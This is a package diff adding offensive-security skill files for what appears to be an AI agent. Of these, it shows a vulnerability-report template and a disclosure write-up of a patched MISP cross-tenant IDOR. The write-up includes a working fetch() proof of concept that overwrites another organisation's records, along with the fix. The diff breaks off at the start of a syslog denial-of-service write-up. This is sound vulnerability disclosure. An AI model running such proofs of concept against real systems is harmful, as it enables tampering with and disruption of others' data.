ineedcodes 1.6.1 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +6 -3
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,59 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: vr-template-vulnerability_report_template
|
|
3
|
+
description: >-
|
|
4
|
+
Vulnerability research reference: vulnerability_report_templategated: true
|
|
5
|
+
---
|
|
6
|
+
# Vulnerability Report Template
|
|
7
|
+
|
|
8
|
+
**Summary:** [Start this section with "In software_product + software_version number" - replace those placeholders with the affected software product and version "e.g., "In Elasticsearch Version 9.3.3,". Then provide a high-level overview of the vulnerability in 1-2 concise sentences. Identify the affected software/version, the specific component or feature that is vulnerable, how an attacker triggers it (e.g., via a specific API call or input), and the ultimate consequence of the exploit (e.g., Sensitive Data Exposure, Denial of Service, Remote Code Execution).]
|
|
9
|
+
|
|
10
|
+
---
|
|
11
|
+
|
|
12
|
+
## Steps To Reproduce
|
|
13
|
+
Provide the exact commands, step-by-step in the following section. Make this as simple as possible to follow and reproduce the flaw. From start to finish.
|
|
14
|
+
|
|
15
|
+
**Preconditions**
|
|
16
|
+
* Starting with describing any required preconiditions.
|
|
17
|
+
* Explain the initial state required for the exploit.
|
|
18
|
+
* What roles, permissions, or specific target identifiers does the attacker need?
|
|
19
|
+
|
|
20
|
+
**Setup**
|
|
21
|
+
* Provide the exact steps to take to reproduce the flaw.
|
|
22
|
+
* Provide precondition commands, such as creating a low-privlege user, staging mock data, etc.
|
|
23
|
+
|
|
24
|
+
**Execution**
|
|
25
|
+
* Provide the exact steps to deliver the payload to the target system.
|
|
26
|
+
* This could be navigating to a specific UI menu, running a script, or sending an HTTP request.
|
|
27
|
+
* Provide the exact script in the attachments if larger than 20 lines.
|
|
28
|
+
|
|
29
|
+
**Verify Impact**
|
|
30
|
+
* Explain how the researcher or triager can confirm the exploit was successful.
|
|
31
|
+
* What should they look for in the logs, UI, or network traffic?
|
|
32
|
+
|
|
33
|
+
---
|
|
34
|
+
|
|
35
|
+
## Remediation
|
|
36
|
+
|
|
37
|
+
* [Provide a specific, actionable step the development team can take to fix the code (e.g., "Implement a maximum limit on the number of keys...").]
|
|
38
|
+
* [Provide a secondary defense-in-depth recommendation (e.g., "Introduce a UI toggle for script access..." or "Implement specific audit logging...").]
|
|
39
|
+
|
|
40
|
+
---
|
|
41
|
+
|
|
42
|
+
## Impact
|
|
43
|
+
|
|
44
|
+
* **[Impact Category - e.g., Confidentiality, Integrity, Availability]:** [Rating - e.g., High or Low]. [Briefly explain how the vulnerability affects this category. E.g., "An attacker can read plaintext passwords from the vault. Only mention the category if there is impact, if the impact is none, then do not mention that category. Use a new bullet line if there is impact to more than one category. If the Scope is Changed, then mention on a new bullet and explain why the Scope is changed."]
|
|
45
|
+
|
|
46
|
+
| Prerequisites | Impact |
|
|
47
|
+
| :--- | :--- |
|
|
48
|
+
| **[Condition 1]:** [What must be true for the attack to work? (e.g., What permissions are required? No priv? Low Priv? High Priv? Or state the specific permission required if uncertain on the privilege model.)] | **[Consequence 1]:** [What is the direct result of the condition being met?] |
|
|
49
|
+
| **[Condition 2]:** [What else does the attacker need? (e.g., Does the attack require other conditions? If you mention network access, mention the port details or any other specific networking details.)] | **[Consequence 2]:** [What impact? Bypass, Degradation, Crash, Exfil, etc..] |
|
|
50
|
+
|
|
51
|
+
---
|
|
52
|
+
|
|
53
|
+
## AI Instructions
|
|
54
|
+
*(Note: Do not include this section in the final submitted report. This is context for the LLM generating the draft.)*
|
|
55
|
+
|
|
56
|
+
**System Prompt Addendum:**
|
|
57
|
+
You are a vulnerability researcher preparing a detailed, yet concise report. Avoid adding fluff or making bold claims without concrete evidence to support it. Maintain an objective, highly technical tone. Ensure that the exploit chain is logically sound and directly correlates with the provided code snippets or behaviors. Focus strictly on the technical facts provided in the user's notes; do not hallucinate endpoints, parameters, hypothetical business risks, or impacts that are not explicitly stated. Structure the output meticulously using the headings above. At the top of the report, include a concise report title, the CVSS 3.1 score, severity,and strings. Then provide the appropriate CWE mapping. If the CWE maps to multiple CWEs (e.g., CWE-400 is also related to a CWE-770 finding), then also mention the "parent" CWE. Use bullet points for CVSS details, CWE Mapping, and Parent CWE.
|
|
58
|
+
|
|
59
|
+
> Source: skraft9/vulnerability-research. Authorized security work only. Gated skill: needs the developer keyword.
|
|
@@ -0,0 +1,171 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: vr-writeup-CVE-2026-9136
|
|
3
|
+
description: >-
|
|
4
|
+
Vulnerability research reference: CVE-2026-9136gated: true
|
|
5
|
+
---
|
|
6
|
+
## Authenticated Cross-Tenant IDOR Integrity Bypass in MISP 2.5.37 Shadow Attributes
|
|
7
|
+
|
|
8
|
+
> ***Ethical Warning:** Research, educational, and authorized testing purposes only. Please do not use against systems without permission.*
|
|
9
|
+
|
|
10
|
+
---
|
|
11
|
+
|
|
12
|
+
In MISP version 2.5.37, the [`ShadowAttributesController`](https://github.com/MISP/MISP/blob/v2.5.37/app/Controller/ShadowAttributesController.php) contained a logic flaw that allowed an authenticated user to perform an Insecure Direct Object Reference (IDOR) attack.
|
|
13
|
+
|
|
14
|
+
By manipulating the batch import JSON payload, an attacker could bypass organisation boundaries and modify existing shadow attributes (proposals) belonging to other organisations, leading to a Cross-Tenant Integrity Bypass.
|
|
15
|
+
|
|
16
|
+
* **CVE ID:** [CVE-2026-9136](https://nvd.nist.gov/vuln/detail/CVE-2026-9136)
|
|
17
|
+
* **Vulnerability Type:** [CWE-639](https://cwe.mitre.org/data/definitions/639.html) (Authorization Bypass Through User-Controlled Key)
|
|
18
|
+
* **Affected Software:** [MISP](https://github.com/misp/misp) (Malware Information Sharing Platform)
|
|
19
|
+
* **Affected Versions:** < 2.5.38
|
|
20
|
+
* **CVSS 4.0 Score:** 8.3 (High)
|
|
21
|
+
* **Author:** [Seth Kraft](https://github.com/skraft9)
|
|
22
|
+
|
|
23
|
+
---
|
|
24
|
+
|
|
25
|
+
## Timeline
|
|
26
|
+
|
|
27
|
+
* **May 11, 2026:** Vulnerability discovery and report to CIRCL.
|
|
28
|
+
* **May 19, 2026:** Fix [#10779](https://github.com/MISP/MISP/pull/10779) merged into the MISP development branch.
|
|
29
|
+
* **May 20, 2026:** `CVE-2026-9136` record published.
|
|
30
|
+
* **May 24, 2026:** Educational write-up publication.
|
|
31
|
+
|
|
32
|
+
---
|
|
33
|
+
|
|
34
|
+
## Identifying the Logic Flaw
|
|
35
|
+
|
|
36
|
+
To understand this vulnerability, we must look at how the [`ShadowAttributesController`](https://github.com/MISP/MISP/blob/v2.5.37/app/Controller/ShadowAttributesController.php) handles batch attribute creation.
|
|
37
|
+
|
|
38
|
+
In CakePHP (the framework powering this component), the Model's `save()` method is polymorphic; if the data array contains a primary key (`id`), the framework treats the operation as an `UPDATE` to an existing record. If the `id` is missing, it creates a new record (`INSERT`).
|
|
39
|
+
|
|
40
|
+
In the vulnerable version of [`ShadowAttributesController.php`](https://github.com/MISP/MISP/blob/v2.5.37/app/Controller/ShadowAttributesController.php), the controller logic iterated through provided attributes but failed to sanitize the input data, effectively trusting what the user supplied. The loop did not strip the `id` field from the `request->data` object.
|
|
41
|
+
|
|
42
|
+
```php
|
|
43
|
+
foreach ($attributes as $key => $attribute) {
|
|
44
|
+
$attribute = trim($attribute);
|
|
45
|
+
if (strlen($attribute) == 0) {
|
|
46
|
+
continue;
|
|
47
|
+
}
|
|
48
|
+
$this->ShadowAttribute->create();
|
|
49
|
+
$this->request->data['ShadowAttribute']['value'] = $attribute;
|
|
50
|
+
// ... (other fields assigned)
|
|
51
|
+
|
|
52
|
+
// The vulnerability: The system assumes the user isn't supplying an ID
|
|
53
|
+
// or that it won't affect existing records.
|
|
54
|
+
if ($this->ShadowAttribute->save($this->request->data)) {
|
|
55
|
+
$successes .= " " . ($key + 1);
|
|
56
|
+
} else {
|
|
57
|
+
$fails .= " " . ($key + 1);
|
|
58
|
+
}
|
|
59
|
+
}
|
|
60
|
+
// ...
|
|
61
|
+
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
By failing to enforce the creation of a new record (by ensuring `id` was null), the application allowed an attacker to influence the ORM (Object-Relational Mapping) layer.
|
|
65
|
+
|
|
66
|
+
An attacker could simply inject an `"id": "[TARGET_ID]"` into their JSON payload. The framework would see that ID, find the corresponding record in the database, and overwrite it with the attacker's data, completely ignoring the fact that the attacker did not own that record.
|
|
67
|
+
|
|
68
|
+
---
|
|
69
|
+
|
|
70
|
+
## Vulnerability Mechanics
|
|
71
|
+
|
|
72
|
+
1. **Enumeration:** The attacker identifies the sequential integer ID of a target shadow attribute created by another organisation.
|
|
73
|
+
2. **Injection:** The attacker initiates a batch import request but injects the `id` of the victim's record into the JSON payload.
|
|
74
|
+
3. **Implicit Trust:** The server-side controller blindly trusts the supplied `id`, fetching the existing record in the database instead of creating a new one.
|
|
75
|
+
4. **Poisoning:** The attacker's provided `value` and `comment` fields overwrite the existing proposal, effectively "poisoning" the intelligence shared by the victim organisation.
|
|
76
|
+
|
|
77
|
+
---
|
|
78
|
+
|
|
79
|
+
## Proof of Concept (PoC)
|
|
80
|
+
|
|
81
|
+
**1. Prerequisites**
|
|
82
|
+
|
|
83
|
+
* A standard (low-privilege) attacker user account on the target MISP instance with a seperate organisation (ORG2).
|
|
84
|
+
* Attacker controlled event on ORG2 to serve as the endpoint for the IDOR.
|
|
85
|
+
* The `[TARGET_ID]` of the victim's proposal (e.g., `1`).
|
|
86
|
+
|
|
87
|
+
---
|
|
88
|
+
|
|
89
|
+
<img width="2081" height="828" alt="Screenshot 2026-05-11 153327" src="https://github.com/user-attachments/assets/02f8b2fd-96e9-4784-b796-4eb7a3196a60" />
|
|
90
|
+
|
|
91
|
+
---
|
|
92
|
+
|
|
93
|
+
**2. Execution:** An attacker can execute a `fetch` command to overwrite a target proposal.
|
|
94
|
+
|
|
95
|
+
```javascript
|
|
96
|
+
fetch('/shadow_attributes/add/[EVENT_ID]', {
|
|
97
|
+
method: 'POST',
|
|
98
|
+
headers: {
|
|
99
|
+
'Accept': 'application/json',
|
|
100
|
+
'Content-Type': 'application/json',
|
|
101
|
+
'X-Requested-With': 'XMLHttpRequest'
|
|
102
|
+
},
|
|
103
|
+
body: JSON.stringify({
|
|
104
|
+
"ShadowAttribute": {
|
|
105
|
+
"batch_import": "1",
|
|
106
|
+
"id": "[TARGET_ID]", // The victim's ID
|
|
107
|
+
"category": "Antivirus detection",
|
|
108
|
+
"type": "other",
|
|
109
|
+
"value": "VULNERABILITY_CONFIRMED_IDOR",
|
|
110
|
+
"comment": "Overwritten via Batch Import"
|
|
111
|
+
}
|
|
112
|
+
})
|
|
113
|
+
});
|
|
114
|
+
|
|
115
|
+
```
|
|
116
|
+
<img width="2528" height="1327" alt="Screenshot 2026-05-11 153545" src="https://github.com/user-attachments/assets/04649644-aba0-4eae-ba8f-697d76e75d23" />
|
|
117
|
+
|
|
118
|
+
---
|
|
119
|
+
|
|
120
|
+
**3. Verify Impact:** The "Proposed value" is now updated to the attacker's string and ownership of the proposal is transferred to `Attacker_Org`.
|
|
121
|
+
|
|
122
|
+
<img width="2070" height="1083" alt="Screenshot 2026-05-11 153621" src="https://github.com/user-attachments/assets/d93d47b5-8031-4c02-95b4-b6a8716392d6" />
|
|
123
|
+
|
|
124
|
+
|
|
125
|
+
---
|
|
126
|
+
|
|
127
|
+
## Resolution
|
|
128
|
+
|
|
129
|
+
The fix implemented in version 2.5.38 enforces a strict policy.
|
|
130
|
+
|
|
131
|
+
* All batch-imported items must be new entries.
|
|
132
|
+
* Achieved by explicitly unsetting the `id` field before the data hits the `save()` method.
|
|
133
|
+
* Adding `unset()` to the controller's logic ensures the Model cannot interpret the request as an `UPDATE` operation.
|
|
134
|
+
|
|
135
|
+
```php
|
|
136
|
+
if (isset($this->request->data['ShadowAttribute']['type']) && $this->ShadowAttribute->typeIsAttachment($this->request->data['ShadowAttribute']['type']) && !$this->_isRest()) {
|
|
137
|
+
$this->Flash->error(__('Attribute has not been added: attachments are added by "Add attachment" button', true), 'default', array(), 'error');
|
|
138
|
+
$this->redirect(array('controller' => 'events', 'action' => 'view', $event['Event']['id']));
|
|
139
|
+
}
|
|
140
|
+
|
|
141
|
+
// The fix: Ensure no ID can be passed from the request data
|
|
142
|
+
unset($this->request->data['ShadowAttribute']['id']);
|
|
143
|
+
|
|
144
|
+
$this->request->data['ShadowAttribute']['event_id'] = $event['Event']['id'];
|
|
145
|
+
// ...
|
|
146
|
+
|
|
147
|
+
```
|
|
148
|
+
|
|
149
|
+
---
|
|
150
|
+
|
|
151
|
+
## Takeaways
|
|
152
|
+
|
|
153
|
+
### Offensive Perspective
|
|
154
|
+
|
|
155
|
+
* **Look for IDOR in Batch Operations:** Developers often apply security controls to single-item "create" endpoints but overlook these same controls in bulk or batch import features. If you see a `batch_import` flag or bulk API, always test if injecting an `id` into those items allows you to update existing resources you shouldn't have access to.
|
|
156
|
+
|
|
157
|
+
### Defensive Perspective
|
|
158
|
+
|
|
159
|
+
* **Never Trust User-Supplied IDs:** When implementing functions designed for object creation (e.g., `add`), never allow the client to specify the primary key (`id`) of the object being created. Always explicitly unset or sanitize these fields before passing them to your Model's `save()` function.
|
|
160
|
+
* **Implement Strict Ownership Validation:** In multi-tenant applications, framework-level protections are not a substitute for domain-level access control. Every database operation involving an ID reference should verify that the authenticated user's organisation (`org_id`) matches the owner of the record being accessed or modified.
|
|
161
|
+
|
|
162
|
+
---
|
|
163
|
+
|
|
164
|
+
## Credits
|
|
165
|
+
A massive shout-out to [@iglocska](https://github.com/iglocska) for their exceptional responsiveness and support throughout this disclosure.
|
|
166
|
+
|
|
167
|
+
The speed at which this was addressed, combined with the team's genuine friendliness and professionalism, made this the most collaborative and positive open-source engagement I've ever had.
|
|
168
|
+
|
|
169
|
+
Thank you to the entire MISP team for your dedication to the security community!
|
|
170
|
+
|
|
171
|
+
> Source: skraft9/vulnerability-research. Authorized security work only. Gated skill: needs the developer keyword.
|
|
@@ -0,0 +1,350 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: vr-writeup-ZVE-2026-3795
|
|
3
|
+
description: >-
|
|
4
|
+
Vulnerability research reference: ZVE-2026-3795gated: true
|
|
5
|
+
---
|
|
6
|
+
## Unauthenticated Remote Denial of Service in ManageEngine EventLog Analyzer Syslog Collector via Signed-Length Underflow in StringUtil::TrimAllNull
|
|
7
|
+
|
|
8
|
+
> ***Ethical Warning:** Research, educational, and authorized testing purposes only. Please do not use against systems without permission.*
|
|
9
|
+
|
|
10
|
+
---
|
|
11
|
+
|
|
12
|
+
In ManageEngine EventLog Analyzer 13.0.5 (build 13056), also distributed within Log360, the root-privileged `SysEvtCol` syslog collector contained a memory-safety defect in its native string-normalization routine `StringUtil::TrimAllNull(char*, int)`.
|
|
13
|
+
|
|
14
|
+
A small sequence of all-NUL UDP datagrams sent to the default syslog port underflows a signed length counter, producing an out-of-bounds read and write across adjacent heap memory that terminates the process with `SIGSEGV`.
|
|
15
|
+
|
|
16
|
+
The listener parses each datagram before authenticating its sender, so any unauthenticated party with network access to the port can reach the fault. Delivered continuously, the condition holds the collector in a persistent crash-restart cycle, during which the SIEM ceases log ingestion entirely.
|
|
17
|
+
|
|
18
|
+
* **CVE ID:** The vendor (Zoho) has not assigned one.
|
|
19
|
+
* **Vulnerability Type:**
|
|
20
|
+
* Root cause: [CWE-191](https://cwe.mitre.org/data/definitions/191.html) Integer Underflow
|
|
21
|
+
* Memory safety: [CWE-125](https://cwe.mitre.org/data/definitions/125.html) Out-of-bounds Read and [CWE-787](https://cwe.mitre.org/data/definitions/787.html) Out-of-bounds Write
|
|
22
|
+
* Impact: [CWE-400](https://cwe.mitre.org/data/definitions/400.html) Denial of Service
|
|
23
|
+
* **Affected Software:** ManageEngine EventLog Analyzer / Log360 (the bundled `SysEvtCol` syslog collector).
|
|
24
|
+
* **Affected Versions:** EventLog Analyzer 13.0.5 build 13056 and earlier. Fixed in build 13071.
|
|
25
|
+
* **Score:** 7.5 (High) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
|
|
26
|
+
* **Author:** [Seth Kraft](https://github.com/skraft9)
|
|
27
|
+
|
|
28
|
+
---
|
|
29
|
+
|
|
30
|
+
